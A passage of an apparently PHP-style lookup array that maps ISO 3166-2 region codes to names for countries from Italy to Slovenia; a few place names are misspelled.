'IT-MI' => "Italy: Milano",
'IT-MO' => "Italy: Modena",
'IT-67' => "Italy: Molise",
'IT-MB' => "Italy: Monza e Brianza",
'IT-NA' => "Italy: Napoli",
'IT-NO' => "Italy: Novara",
'IT-NU' => "Italy: Nuoro",
'IT-OG' => "Italy: Ogliastra",
'IT-OT' => "Italy: Olbia-Tempio",
'IT-OR' => "Italy: Oristano",
'IT-PD' => "Italy: Padova",
'IT-PA' => "Italy: Palermo",
'IT-PR' => "Italy: Parma",
'IT-PV' => "Italy: Pavia",
'IT-PG' => "Italy: Perugia",
'IT-PU' => "Italy: Pesaro e Urbino",
'IT-PE' => "Italy: Pescara",
'IT-PC' => "Italy: Piacenza",
'IT-21' => "Italy: Piemonte",
'IT-PI' => "Italy: Pisa",
'IT-PT' => "Italy: Pistoia",
'IT-PN' => "Italy: Pordenone",
'IT-PZ' => "Italy: Potenza",
'IT-PO' => "Italy: Prato",
'IT-75' => "Italy: Puglia",
'IT-RG' => "Italy: Ragusa",
'IT-RA' => "Italy: Ravenna",
'IT-RC' => "Italy: Reggio Calabria",
'IT-RE' => "Italy: Reggio Emilia",
'IT-RI' => "Italy: Rieti",
'IT-RN' => "Italy: Rimini",
'IT-RM' => "Italy: Roma",
'IT-RO' => "Italy: Rovigo",
'IT-SA' => "Italy: Salerno",
'IT-88' => "Italy: Sardegna",
'IT-SS' => "Italy: Sassari",
'IT-SV' => "Italy: Savona",
'IT-82' => "Italy: Sicilia",
'IT-SI' => "Italy: Siena",
'IT-SR' => "Italy: Siracusa",
'IT-SO' => "Italy: Sondrio",
'IT-TA' => "Italy: Taranto",
'IT-TE' => "Italy: Teramo",
'IT-TR' => "Italy: Terni",
'IT-TO' => "Italy: Torino",
'IT-52' => "Italy: Toscana",
'IT-TP' => "Italy: Trapani",
'IT-32' => "Italy: Trentino-Alto Adige",
'IT-TN' => "Italy: Trento",
'IT-TV' => "Italy: Treviso",
'IT-TS' => "Italy: Trieste",
'IT-UD' => "Italy: Udine",
'IT-55' => "Italy: Umbria",
'IT-23' => "Italy: Valle d'Aosta",
'IT-VA' => "Italy: Varese",
'IT-34' => "Italy: Veneto",
'IT-VE' => "Italy: Venezia",
'IT-VB' => "Italy: Verbano-Cusio-Ossola",
'IT-VC' => "Italy: Vercelli",
'IT-VR' => "Italy: Verona",
'IT-VV' => "Italy: Vibo Valentia",
'IT-VI' => "Italy: Vicenza",
'IT-VT' => "Italy: Viterbo",
'--JP' => "", '-JP' =>
"Japan",
'JP-23' => "Japan: Aichi",
'JP-05' => "Japan: Akita",
'JP-02' => "Japan: Aomori",
'JP-12' => "Japan: Chiba",
'JP-38' => "Japan: Ehime",
'JP-18' => "Japan: Fukui",
'JP-40' => "Japan: Fukuoka",
'JP-07' => "Japan: Fukushima",
'JP-21' => "Japan: Gifu",
'JP-10' => "Japan: Gunma",
'JP-34' => "Japan: Hiroshima",
'JP-01' => "Japan: Hokkaido",
'JP-28' => "Japan: Hyogo",
'JP-08' => "Japan: Ibaraki",
'JP-17' => "Japan: Ishikawa",
'JP-03' => "Japan: Iwate",
'JP-37' => "Japan: Kagawa",
'JP-46' => "Japan: Kagoshima",
'JP-14' => "Japan: Kanagawa",
'JP-39' => "Japan: Kochi",
'JP-43' => "Japan: Kumamoto",
'JP-26' => "Japan: Kyoto",
'JP-24' => "Japan: Mie",
'JP-04' => "Japan: Miyagi",
'JP-45' => "Japan: Miyazaki",
'JP-20' => "Japan: Nagano",
'JP-42' => "Japan: Nagasaki",
'JP-29' => "Japan: Nara",
'JP-15' => "Japan: Niigata",
'JP-44' => "Japan: Oita",
'JP-33' => "Japan: Okayama",
'JP-47' => "Japan: Okinawa",
'JP-27' => "Japan: Osaka",
'JP-41' => "Japan: Saga",
'JP-11' => "Japan: Saitama",
'JP-25' => "Japan: Shiga",
'JP-32' => "Japan: Shimane",
'JP-22' => "Japan: Shizuoka",
'JP-09' => "Japan: Tochigi",
'JP-36' => "Japan: Tokushima",
'JP-13' => "Japan: Tokyo",
'JP-31' => "Japan: Tottori",
'JP-16' => "Japan: Toyama",
'JP-30' => "Japan: Wakayama",
'JP-06' => "Japan: Yamagata",
'JP-35' => "Japan: Yamaguchi",
'JP-19' => "Japan: Yamanashi",
'--MX' => "", '-MX' =>
"Mexico",
'MX-AGU' => "Mexico: Aguascalientes",
'MX-BCN' => "Mexico: Baja California",
'MX-BCS' => "Mexico: Baja California Sur",
'MX-CAM' => "Mexico: Campeche",
'MX-CHP' => "Mexico: Chiapas",
'MX-CHH' => "Mexico: Chihuahua",
'MX-COA' => "Mexico: Coahuila",
'MX-COL' => "Mexico: Colima",
'MX-DIF' => "Mexico: Distrito Federal (Mexico
City)",
'MX-DUR' => "Mexico: Durango",
'MX-GUA' => "Mexico: Guanajuato",
'MX-GRO' => "Mexico: Guerrero",
'MX-HID' => "Mexico: Hidalgo",
'MX-JAL' => "Mexico: Jalisco",
'MX-MIC' => "Mexico: Michoacán",
'MX-MOR' => "Mexico: Morelos",
'MX-MEX' => "Mexico: México",
'MX-NAY' => "Mexico: Nayarit",
'MX-NLE' => "Mexico: Nuevo León",
'MX-OAX' => "Mexico: Oaxaca",
'MX-PUE' => "Mexico: Puebla",
'MX-QUE' => "Mexico: Querétaro",
'MX-ROO' => "Mexico: Quintana Roo",
'MX-SLP' => "Mexico: San Luis Potosí",
'MX-SIN' => "Mexico: Sinaloa",
'MX-SON' => "Mexico: Sonora",
'MX-TAB' => "Mexico: Tabasco",
'MX-TAM' => "Mexico: Tamaulipas",
'MX-TLA' => "Mexico: Tlaxcala",
'MX-VER' => "Mexico: Veracruz",
'MX-YUC' => "Mexico: Yucatán",
'MX-ZAC' => "Mexico: Zacatecas",
'--MA' => "", '-MA' =>
"Morocco",
'MA-AGD' => "Morocco: Agadir-Ida-Outanane",
'MA-HAO' => "Morocco: Al Haouz",
'MA-HOC' => "Morocco: Al Hoceïma",
'MA-AOU' => "Morocco: Aousserd",
'MA-ASZ' => "Morocco: Assa-Zag",
'MA-AZI' => "Morocco: Azilal",
'MA-BES' => "Morocco: Ben Slimane",
'MA-BEM' => "Morocco: Beni Mellal",
'MA-BER' => "Morocco: Berkane",
'MA-BOD' => "Morocco: Boujdour (EH)",
'MA-BOM' => "Morocco: Boulemane",
'MA-CAS' => "Morocco: Casablanca [Dar el Beïda]",
'MA-09' => "Morocco: Chaouia-Ouardigha",
'MA-CHE' => "Morocco: Chefchaouen",
'MA-CHI' => "Morocco: Chichaoua",
'MA-CHT' => "Morocco: Chtouka-Ait Baha",
'MA-10' => "Morocco: Doukhala-Abda",
'MA-HAJ' => "Morocco: El Hajeb",
'MA-JDI' => "Morocco: El Jadida",
'MA-ERR' => "Morocco: Errachidia",
'MA-ESM' => "Morocco: Es Smara (EH)",
'MA-ESI' => "Morocco: Essaouira",
'MA-FAH' => "Morocco: Fahs-Beni Makada",
'MA-FIG' => "Morocco: Figuig",
'MA-05' => "Morocco: Fès-Boulemane",
'MA-FES' => "Morocco: Fès-Dar-Dbibegh",
'MA-02' => "Morocco: Gharb-Chrarda-Beni Hssen",
'MA-08' => "Morocco: Grand Casablanca",
'MA-GUE' => "Morocco: Guelmim",
'MA-14' => "Morocco: Guelmim-Es Smara",
'MA-IFR' => "Morocco: Ifrane",
'MA-INE' => "Morocco: Inezgane-Ait Melloul",
'MA-JRA' => "Morocco: Jrada",
'MA-KES' => "Morocco: Kelaat es Sraghna",
'MA-KHE' => "Morocco: Khemisaet",
'MA-KHN' => "Morocco: Khenifra",
'MA-KHO' => "Morocco: Khouribga",
'MA-KEN' => "Morocco: Kénitra",
'MA-04' => "Morocco: L'Oriental",
'MA-LAR' => "Morocco: Larache",
'MA-LAA' => "Morocco: Laâyoune (EH)",
'MA-15' => "Morocco: Laâyoune-Boujdour-Sakia el
Hamra",
'MA-MMD' => "Morocco: Marrakech-Medina",
'MA-MMN' => "Morocco: Marrakech-Menara",
'MA-11' => "Morocco: Marrakech-Tensift-Al Haouz",
'MA-MEK' => "Morocco: Meknès",
'MA-06' => "Morocco: Meknès-Tafilalet",
'MA-MOH' => "Morocco: Mohammadia",
'MA-MOU' => "Morocco: Moulay Yacoub",
'MA-MED' => "Morocco: Médiouna",
'MA-NAD' => "Morocco: Nador",
'MA-NOU' => "Morocco: Nouaceur",
'MA-OUA' => "Morocco: Ouarzazate",
'MA-OUD' => "Morocco: Oued ed Dahab (EH)",
'MA-16' => "Morocco: Oued ed Dahab-Lagouira",
'MA-OUJ' => "Morocco: Oujda-Angad",
'MA-RAB' => "Morocco: Rabat",
'MA-07' => "Morocco: Rabat-Salé-Zemmour-Zaer",
'MA-SAF' => "Morocco: Safi",
'MA-SAL' => "Morocco: Salé",
'MA-SEF' => "Morocco: Sefrou",
'MA-SET' => "Morocco: Settat",
'MA-SYB' => "Morocco: Sidi Youssef Ben Ali",
'MA-SIK' => "Morocco: Sidl Kacem",
'MA-SKH' => "Morocco: Skhirate-Témara",
'MA-13' => "Morocco: Sous-Massa-Draa",
'MA-12' => "Morocco: Tadla-Azilal",
'MA-TNT' => "Morocco: Tan-Tan",
'MA-TNG' => "Morocco: Tanger-Assilah",
'MA-01' => "Morocco: Tanger-Tétouan",
'MA-TAO' => "Morocco: Taounate",
'MA-TAI' => "Morocco: Taourirt",
'MA-TAR' => "Morocco: Taroudant",
'MA-TAT' => "Morocco: Tata",
'MA-TAZ' => "Morocco: Taza",
'MA-03' => "Morocco: Taza-Al Hoceima-Taounate",
'MA-TIZ' => "Morocco: Tiznit",
'MA-TET' => "Morocco: Tétouan",
'MA-ZAG' => "Morocco: Zagora",
'--NL' => "", '-NL' =>
"Netherlands",
'NL-DR' => "Netherlands: Drenthe",
'NL-FL' => "Netherlands: Flevoland",
'NL-FR' => "Netherlands: Friesland",
'NL-GE' => "Netherlands: Gelderland",
'NL-GR' => "Netherlands: Groningen",
'NL-LI' => "Netherlands: Limburg",
'NL-NB' => "Netherlands: Noord-Brabant",
'NL-NH' => "Netherlands: Noord-Holland",
'NL-OV' => "Netherlands: Overijssel",
'NL-UT' => "Netherlands: Utrecht",
'NL-ZE' => "Netherlands: Zeeland",
'NL-ZH' => "Netherlands: Zuid-Holland",
'--NG' => "", '-NG' =>
"Nigeria",
'NG-AB' => "Nigeria: Abia",
'NG-FC' => "Nigeria: Abuja Capital Territory",
'NG-AD' => "Nigeria: Adamawa",
'NG-AK' => "Nigeria: Akwa Ibom",
'NG-AN' => "Nigeria: Anambra",
'NG-BA' => "Nigeria: Bauchi",
'NG-BY' => "Nigeria: Bayelsa",
'NG-BE' => "Nigeria: Benue",
'NG-BO' => "Nigeria: Borno",
'NG-CR' => "Nigeria: Cross River",
'NG-DE' => "Nigeria: Delta",
'NG-EB' => "Nigeria: Ebonyi",
'NG-ED' => "Nigeria: Edo",
'NG-EK' => "Nigeria: Ekiti",
'NG-EN' => "Nigeria: Enugu",
'NG-GO' => "Nigeria: Gombe",
'NG-IM' => "Nigeria: Imo",
'NG-JI' => "Nigeria: Jigawa",
'NG-KD' => "Nigeria: Kaduna",
'NG-KN' => "Nigeria: Kano",
'NG-KT' => "Nigeria: Katsina",
'NG-KE' => "Nigeria: Kebbi",
'NG-KO' => "Nigeria: Kogi",
'NG-KW' => "Nigeria: Kwara",
'NG-LA' => "Nigeria: Lagos",
'NG-NA' => "Nigeria: Nassarawa",
'NG-NI' => "Nigeria: Niger, Níger",
'NG-OG' => "Nigeria: Ogun",
'NG-ON' => "Nigeria: Ondo",
'NG-OS' => "Nigeria: Osun",
'NG-OY' => "Nigeria: Oyo",
'NG-PL' => "Nigeria: Plateau",
'NG-RI' => "Nigeria: Rivers",
'NG-SO' => "Nigeria: Sokoto",
'NG-TA' => "Nigeria: Taraba",
'NG-YO' => "Nigeria: Yobe",
'NG-ZA' => "Nigeria: Zamfara",
'--NO' => "", '-NO' =>
"Norway",
'NO-02' => "Norway: Akershus",
'NO-09' => "Norway: Aust-Agder",
'NO-06' => "Norway: Buskerud",
'NO-20' => "Norway: Finnmark",
'NO-04' => "Norway: Hedmark",
'NO-12' => "Norway: Hordaland",
'NO-22' => "Norway: Jan Mayen",
'NO-15' => "Norway: Møre og Romsdal",
'NO-17' => "Norway: Nord-Trøndelag",
'NO-18' => "Norway: Nordland",
'NO-05' => "Norway: Oppland",
'NO-03' => "Norway: Oslo",
'NO-11' => "Norway: Rogaland",
'NO-14' => "Norway: Sogn og Fjordane",
'NO-21' => "Norway: Svalbard",
'NO-16' => "Norway: Sør-Trøndelag",
'NO-08' => "Norway: Telemark",
'NO-19' => "Norway: Troms",
'NO-10' => "Norway: Vest-Agder",
'NO-07' => "Norway: Vestfold",
'NO-01' => "Norway: Østfold",
'--PH' => "", '-PH' =>
"Philippines",
'PH-ABR' => "Philippines: Abra",
'PH-AGN' => "Philippines: Agusan del Norte",
'PH-AGS' => "Philippines: Agusan del Sur",
'PH-AKL' => "Philippines: Aklan",
'PH-ALB' => "Philippines: Albay",
'PH-ANT' => "Philippines: Antique",
'PH-APA' => "Philippines: Apayao",
'PH-AUR' => "Philippines: Aurora",
'PH-14' => "Philippines: Autonomous Region in Muslim
Mindanao (ARMM)",
'PH-BAS' => "Philippines: Basilan",
'PH-BTN' => "Philippines: Batanes",
'PH-BTG' => "Philippines: Batangas",
'PH-BAN' => "Philippines: Batasn",
'PH-BEN' => "Philippines: Benguet",
'PH-05' => "Philippines: Bicol (Region V)",
'PH-BIL' => "Philippines: Biliran",
'PH-BOH' => "Philippines: Bohol",
'PH-BUK' => "Philippines: Bukidnon",
'PH-BUL' => "Philippines: Bulacan",
'PH-40' => "Philippines: CALABARZON (Region
IV-A)",
'PH-CAG' => "Philippines: Cagayan",
'PH-02' => "Philippines: Cagayan Valley (Region
II)",
'PH-CAN' => "Philippines: Camarines Norte",
'PH-CAS' => "Philippines: Camarines Sur",
'PH-CAM' => "Philippines: Camiguin",
'PH-CAP' => "Philippines: Capiz",
'PH-13' => "Philippines: Caraga (Region XIII)",
'PH-CAT' => "Philippines: Catanduanes",
'PH-CAV' => "Philippines: Cavite",
'PH-CEB' => "Philippines: Cebu",
'PH-03' => "Philippines: Central Luzon (Region
III)",
'PH-07' => "Philippines: Central Visayas (Region
VII)",
'PH-COM' => "Philippines: Compostela Valley",
'PH-15' => "Philippines: Cordillera Administrative
Region (CAR)",
'PH-11' => "Philippines: Davao (Region XI)",
'PH-DAO' => "Philippines: Davao Oriental",
'PH-DAV' => "Philippines: Davao del Norte",
'PH-DAS' => "Philippines: Davao del Sur",
'PH-DIN' => "Philippines: Dinagat Islands",
'PH-EAS' => "Philippines: Eastern Samar",
'PH-08' => "Philippines: Eastern Visayas (Region
VIII)",
'PH-GUI' => "Philippines: Guimaras",
'PH-IFU' => "Philippines: Ifugao",
'PH-01' => "Philippines: Ilocos (Region I)",
'PH-ILN' => "Philippines: Ilocos Norte",
'PH-ILS' => "Philippines: Ilocos Sur",
'PH-ILI' => "Philippines: Iloilo",
'PH-ISA' => "Philippines: Isabela",
'PH-KAL' => "Philippines: Kalinga-Apayso",
'PH-LUN' => "Philippines: La Union",
'PH-LAG' => "Philippines: Laguna",
'PH-LAN' => "Philippines: Lanao del Norte",
'PH-LAS' => "Philippines: Lanao del Sur",
'PH-LEY' => "Philippines: Leyte",
'PH-41' => "Philippines: MIMAROPA (Region IV-B)",
'PH-MAG' => "Philippines: Maguindanao",
'PH-MAD' => "Philippines: Marinduque",
'PH-MAS' => "Philippines: Masbate",
'PH-MDC' => "Philippines: Mindoro Occidental",
'PH-MDR' => "Philippines: Mindoro Oriental",
'PH-MSC' => "Philippines: Misamis Occidental",
'PH-MSR' => "Philippines: Misamis Oriental",
'PH-MOU' => "Philippines: Mountain Province",
'PH-00' => "Philippines: National Capital
Region",
'PH-NEC' => "Philippines: Negroe Occidental",
'PH-NER' => "Philippines: Negros Oriental",
'PH-NCO' => "Philippines: North Cotabato",
'PH-10' => "Philippines: Northern Mindanao (Region
X)",
'PH-NSA' => "Philippines: Northern Samar",
'PH-NUE' => "Philippines: Nueva Ecija",
'PH-NUV' => "Philippines: Nueva Vizcaya",
'PH-PLW' => "Philippines: Palawan",
'PH-PAM' => "Philippines: Pampanga",
'PH-PAN' => "Philippines: Pangasinan",
'PH-QUE' => "Philippines: Quezon",
'PH-QUI' => "Philippines: Quirino",
'PH-RIZ' => "Philippines: Rizal",
'PH-ROM' => "Philippines: Romblon",
'PH-SAR' => "Philippines: Sarangani",
'PH-SIG' => "Philippines: Siquijor",
'PH-12' => "Philippines: Soccsksargen (Region
XII)",
'PH-SOR' => "Philippines: Sorsogon",
'PH-SCO' => "Philippines: South Cotabato",
'PH-SLE' => "Philippines: Southern Leyte",
'PH-SUK' => "Philippines: Sultan Kudarat",
'PH-SLU' => "Philippines: Sulu",
'PH-SUN' => "Philippines: Surigao del Norte",
'PH-SUR' => "Philippines: Surigao del Sur",
'PH-TAR' => "Philippines: Tarlac",
'PH-TAW' => "Philippines: Tawi-Tawi",
'PH-WSA' => "Philippines: Western Samar",
'PH-06' => "Philippines: Western Visayas (Region
VI)",
'PH-ZMB' => "Philippines: Zambales",
'PH-09' => "Philippines: Zamboanga Peninsula (Region
IX)",
'PH-ZSI' => "Philippines: Zamboanga Sibugay",
'PH-ZAN' => "Philippines: Zamboanga del Norte",
'PH-ZAS' => "Philippines: Zamboanga del Sur",
'--PL' => "", '-PL' =>
"Poland",
'PL-DS' => "Poland: Dolnośląskie",
'PL-KP' => "Poland: Kujawsko-pomorskie",
'PL-LU' => "Poland: Lubelskie",
'PL-LB' => "Poland: Lubuskie",
'PL-MZ' => "Poland: Mazowieckie",
'PL-MA' => "Poland: Małopolskie",
'PL-OP' => "Poland: Opolskie",
'PL-PK' => "Poland: Podkarpackie",
'PL-PD' => "Poland: Podlaskie",
'PL-PM' => "Poland: Pomorskie",
'PL-WN' => "Poland: Warmińsko-mazurskie",
'PL-WP' => "Poland: Wielkopolskie",
'PL-ZP' => "Poland: Zachodniopomorskie",
'PL-LD' => "Poland: Łódzkie",
'PL-SL' => "Poland: Śląskie",
'PL-SK' => "Poland: Świętokrzyskie",
'--PT' => "", '-PT' =>
"Portugal",
'PT-01' => "Portugal: Aveiro",
'PT-02' => "Portugal: Beja",
'PT-03' => "Portugal: Braga",
'PT-04' => "Portugal: Bragança",
'PT-05' => "Portugal: Castelo Branco",
'PT-06' => "Portugal: Coimbra",
'PT-08' => "Portugal: Faro",
'PT-09' => "Portugal: Guarda",
'PT-10' => "Portugal: Leiria",
'PT-11' => "Portugal: Lisboa",
'PT-12' => "Portugal: Portalegre",
'PT-13' => "Portugal: Porto",
'PT-30' => "Portugal: Região Autónoma da
Madeira",
'PT-20' => "Portugal: Região Autónoma dos
Açores",
'PT-14' => "Portugal: Santarém",
'PT-15' => "Portugal: Setúbal",
'PT-16' => "Portugal: Viana do Castelo",
'PT-17' => "Portugal: Vila Real",
'PT-18' => "Portugal: Viseu",
'PT-07' => "Portugal: Évora",
'--RO' => "", '-RO' =>
"Romania",
'RO-AB' => "Romania: Alba",
'RO-AR' => "Romania: Arad",
'RO-AG' => "Romania: Argeș",
'RO-BC' => "Romania: Bacău",
'RO-BH' => "Romania: Bihor",
'RO-BN' => "Romania: Bistrița-Năsăud",
'RO-BT' => "Romania: Botoșani",
'RO-BV' => "Romania: Brașov",
'RO-BR' => "Romania: Brăila",
'RO-B' => "Romania: București",
'RO-BZ' => "Romania: Buzău",
'RO-CS' => "Romania: Caraș-Severin",
'RO-CJ' => "Romania: Cluj",
'RO-CT' => "Romania: Constanța",
'RO-CV' => "Romania: Covasna",
'RO-CL' => "Romania: Călărași",
'RO-DJ' => "Romania: Dolj",
'RO-DB' => "Romania: Dâmbovița",
'RO-GL' => "Romania: Galați",
'RO-GR' => "Romania: Giurgiu",
'RO-GJ' => "Romania: Gorj",
'RO-HR' => "Romania: Harghita",
'RO-HD' => "Romania: Hunedoara",
'RO-IL' => "Romania: Ialomița",
'RO-IS' => "Romania: Iași",
'RO-IF' => "Romania: Ilfov",
'RO-MM' => "Romania: Maramureș",
'RO-MH' => "Romania: Mehedinți",
'RO-MS' => "Romania: Mureș",
'RO-NT' => "Romania: Neamț",
'RO-OT' => "Romania: Olt",
'RO-PH' => "Romania: Prahova",
'RO-SM' => "Romania: Satu Mare",
'RO-SB' => "Romania: Sibiu",
'RO-SV' => "Romania: Suceava",
'RO-SJ' => "Romania: Sălaj",
'RO-TR' => "Romania: Teleorman",
'RO-TM' => "Romania: Timiș",
'RO-TL' => "Romania: Tulcea",
'RO-VS' => "Romania: Vaslui",
'RO-VN' => "Romania: Vrancea",
'RO-VL' => "Romania: Vâlcea",
'--RU' => "", '-RU' =>
"Russian Federation",
'RU-AD' => "Russian Federation: Adygeya,
Respublika",
'RU-AL' => "Russian Federation: Altay,
Respublika",
'RU-ALT' => "Russian Federation: Altayskiy kray",
'RU-AMU' => "Russian Federation: Amurskaya
oblast'",
'RU-ARK' => "Russian Federation: Arkhangel'skaya
oblast'",
'RU-AST' => "Russian Federation: Astrakhanskaya
oblast'",
'RU-BA' => "Russian Federation: Bashkortostan,
Respublika",
'RU-BEL' => "Russian Federation: Belgorodskaya
oblast'",
'RU-BRY' => "Russian Federation: Bryanskaya
oblast'",
'RU-BU' => "Russian Federation: Buryatiya,
Respublika",
'RU-CE' => "Russian Federation: Chechenskaya
Respublika",
'RU-CHE' => "Russian Federation: Chelyabinskaya
oblast'",
'RU-CHU' => "Russian Federation: Chukotskiy avtonomnyy
okrug",
'RU-CU' => "Russian Federation: Chuvashskaya
Respublika",
'RU-DA' => "Russian Federation: Dagestan,
Respublika",
'RU-IRK' => "Russian Federation: Irkutiskaya
oblast'",
'RU-IVA' => "Russian Federation: Ivanovskaya
oblast'",
'RU-KB' => "Russian Federation: Kabardino-Balkarskaya
Respublika",
'RU-KGD' => "Russian Federation: Kaliningradskaya
oblast'",
'RU-KL' => "Russian Federation: Kalmykiya,
Respublika",
'RU-KLU' => "Russian Federation: Kaluzhskaya
oblast'",
'RU-KAM' => "Russian Federation: Kamchatskiy
kray",
'RU-KC' => "Russian Federation:
Karachayevo-Cherkesskaya Respublika",
'RU-KR' => "Russian Federation: Kareliya,
Respublika",
'RU-KEM' => "Russian Federation: Kemerovskaya
oblast'",
'RU-KHA' => "Russian Federation: Khabarovskiy
kray",
'RU-KK' => "Russian Federation: Khakasiya,
Respublika",
'RU-KHM' => "Russian Federation: Khanty-Mansiysky
avtonomnyy okrug-Yugra",
'RU-KIR' => "Russian Federation: Kirovskaya
oblast'",
'RU-KO' => "Russian Federation: Komi,
Respublika",
'RU-KOS' => "Russian Federation: Kostromskaya
oblast'",
'RU-KDA' => "Russian Federation: Krasnodarskiy
kray",
'RU-KYA' => "Russian Federation: Krasnoyarskiy
kray",
'RU-KGN' => "Russian Federation: Kurganskaya
oblast'",
'RU-KRS' => "Russian Federation: Kurskaya
oblast'",
'RU-LEN' => "Russian Federation: Leningradskaya
oblast'",
'RU-LIP' => "Russian Federation: Lipetskaya
oblast'",
'RU-MAG' => "Russian Federation: Magadanskaya
oblast'",
'RU-ME' => "Russian Federation: Mariy El,
Respublika",
'RU-MO' => "Russian Federation: Mordoviya,
Respublika",
'RU-MOS' => "Russian Federation: Moskovskaya
oblast'",
'RU-MOW' => "Russian Federation: Moskva",
'RU-MUR' => "Russian Federation: Murmanskaya
oblast'",
'RU-NEN' => "Russian Federation: Nenetskiy avtonomnyy
okrug",
'RU-NIZ' => "Russian Federation: Nizhegorodskaya
oblast'",
'RU-NGR' => "Russian Federation: Novgorodskaya
oblast'",
'RU-NVS' => "Russian Federation: Novosibirskaya
oblast'",
'RU-OMS' => "Russian Federation: Omskaya
oblast'",
'RU-ORE' => "Russian Federation: Orenburgskaya
oblast'",
'RU-ORL' => "Russian Federation: Orlovskaya
oblast'",
'RU-PNZ' => "Russian Federation: Penzenskaya
oblast'",
'RU-PER' => "Russian Federation: Permskiy kray",
'RU-PRI' => "Russian Federation: Primorskiy kray",
'RU-PSK' => "Russian Federation: Pskovskaya
oblast'",
'RU-IN' => "Russian Federation: Respublika
Ingushetiya",
'RU-ROS' => "Russian Federation: Rostovskaya
oblast'",
'RU-RYA' => "Russian Federation: Ryazanskaya
oblast'",
'RU-SA' => "Russian Federation: Sakha, Respublika
[Yakutiya]",
'RU-SAK' => "Russian Federation: Sakhalinskaya
oblast'",
'RU-SAM' => "Russian Federation: Samaraskaya
oblast'",
'RU-SPE' => "Russian Federation: Sankt-Peterburg",
'RU-SAR' => "Russian Federation: Saratovskaya
oblast'",
'RU-SE' => "Russian Federation: Severnaya
Osetiya-Alaniya, Respublika",
'RU-SMO' => "Russian Federation: Smolenskaya
oblast'",
'RU-STA' => "Russian Federation: Stavropol'skiy
kray",
'RU-SVE' => "Russian Federation: Sverdlovskaya
oblast'",
'RU-TAM' => "Russian Federation: Tambovskaya
oblast'",
'RU-TA' => "Russian Federation: Tatarstan,
Respublika",
'RU-TOM' => "Russian Federation: Tomskaya
oblast'",
'RU-TUL' => "Russian Federation: Tul'skaya
oblast'",
'RU-TVE' => "Russian Federation: Tverskaya
oblast'",
'RU-TYU' => "Russian Federation: Tyumenskaya
oblast'",
'RU-TY' => "Russian Federation: Tyva, Respublika
[Tuva]",
'RU-UD' => "Russian Federation: Udmurtskaya
Respublika",
'RU-ULY' => "Russian Federation: Ul'yanovskaya
oblast'",
'RU-VLA' => "Russian Federation: Vladimirskaya
oblast'",
'RU-VGG' => "Russian Federation: Volgogradskaya
oblast'",
'RU-VLG' => "Russian Federation: Vologodskaya
oblast'",
'RU-VOR' => "Russian Federation: Voronezhskaya
oblast'",
'RU-YAN' => "Russian Federation: Yamalo-Nenetskiy
avtonomnyy okrug",
'RU-YAR' => "Russian Federation: Yaroslavskaya
oblast'",
'RU-YEV' => "Russian Federation: Yevreyskaya
avtonomnaya oblast'",
'RU-ZAB' => "Russian Federation: Zabajkal'skij
kraj",
'--SK' => "", '-SK' =>
"Slovakia",
'SK-BC' => "Slovakia: Banskobystrický kraj",
'SK-BL' => "Slovakia: Bratislavský kraj",
'SK-KI' => "Slovakia: Košický kraj",
'SK-NI' => "Slovakia: Nitriansky kraj",
'SK-PV' => "Slovakia: Prešovský kraj",
'SK-TC' => "Slovakia: Trenčiansky kraj",
'SK-TA' => "Slovakia: Trnavský kraj",
'SK-ZI' => "Slovakia: Žilinský kraj",
'--SI' => "", '-SI' =>
"Slovenia",
'SI-001' => "Slovenia: Ajdovščina",
'SI-195' => "Slovenia: Apače",
'SI-002' => "Slovenia: Beltinci",
'SI-148' => "Slovenia: Benedikt",
'SI-149' => "Slovenia: Bistrica ob Sotli",
'SI-003' => "Slovenia: Bled",
'SI-150' => "Slovenia: Bloke",
'SI-004' => "Slovenia: Bohinj",
'SI-005' => "Slovenia: Borovnica",
'SI-006' => "Slovenia: Bovec",
'SI-151' => "Slovenia: Braslovče",
'SI-007' => "Slovenia: Brda",
'SI-008' => "Slovenia: Brezovica",
'SI-009' => "Slovenia: Brežice",
'SI-152' => "Slovenia: Cankova",
'SI-011' => "Slovenia: Celje",
'SI-012' => "Slovenia: Cerklje na Gorenjskem",
'SI-013' => "Slovenia: Cerknica",
'SI-014' => "Slovenia: Cerkno",
'SI-153' => "Slovenia: Cerkvenjak",
'SI-196' => "Slovenia: Cirkulane",
'SI-018' => "Slovenia: Destrnik",
'SI-019' => "Slovenia: Divača",
'SI-154' => "Slovenia: Dobje",
'SI-020' => "Slovenia: Dobrepolje",
'SI-155' => "Slovenia: Dobrna",
'SI-021' => "Slovenia: Dobrova-Polhov Gradec",
'SI-156' => "Slovenia: Dobrovnik/Dobronak",
'SI-022' => "Slovenia: Dol pri Ljubljani",
'SI-157' => "Slovenia: Dolenjske Toplice",
'SI-023' => "Slovenia: Domžale",
'SI-024' => "Slovenia: Dornava",
'SI-025' => "Slovenia: Dravograd",
'SI-026' => "Slovenia: Duplek",
'SI-027' => "Slovenia: Gorenja vas-Poljane",
'SI-028' => "Slovenia: Gorišnica",
'SI-207' => "Slovenia: Gorje",
'SI-029' => "Slovenia: Gornja Radgona",
'SI-030' => "Slovenia: Gornji Grad",
'SI-031' => "Slovenia: Gornji Petrovci",
'SI-158' => "Slovenia: Grad",
'SI-032' => "Slovenia: Grosuplje",
'SI-159' => "Slovenia: Hajdina",
'SI-161' => "Slovenia: Hodoš/Hodos",
'SI-162' => "Slovenia: Horjul",
'SI-160' => "Slovenia: Hoče-Slivnica",
'SI-034' => "Slovenia: Hrastnik",
'SI-035' => "Slovenia: Hrpelje-Kozina",
'SI-036' => "Slovenia: Idrija",
'SI-037' => "Slovenia: Ig",
'SI-038' => "Slovenia: Ilirska Bistrica",
'SI-039' => "Slovenia: Ivančna Gorica",
'SI-040' => "Slovenia: Izola/Isola",
'SI-041' => "Slovenia: Jesenice",
'SI-163' => "Slovenia: Jezersko",
'SI-042' => "Slovenia: Juršinci",
'SI-043' => "Slovenia: Kamnik",
'SI-044' => "Slovenia: Kanal",
'SI-045' => "Slovenia: Kidričevo",
'SI-046' => "Slovenia: Kobarid",
'SI-047' => "Slovenia: Kobilje",
'SI-049' => "Slovenia: Komen",
'SI-164' => "Slovenia: Komenda",
'SI-050' => "Slovenia: Koper/Capodistria",
'SI-197' => "Slovenia: Kosanjevica na Krki",
'SI-165' => "Slovenia: Kostel",
'SI-051' => "Slovenia: Kozje",
'SI-048' => "Slovenia: Kočevje",
'SI-052' => "Slovenia: Kranj",
'SI-053' => "Slovenia: Kranjska Gora",
'SI-166' => "Slovenia: Križevci",
'SI-054' => "Slovenia: Krško",
'SI-055' => "Slovenia: Kungota",
'SI-056' => "Slovenia: Kuzma",
'SI-057' => "Slovenia: Laško",
'SI-058' => "Slovenia: Lenart",
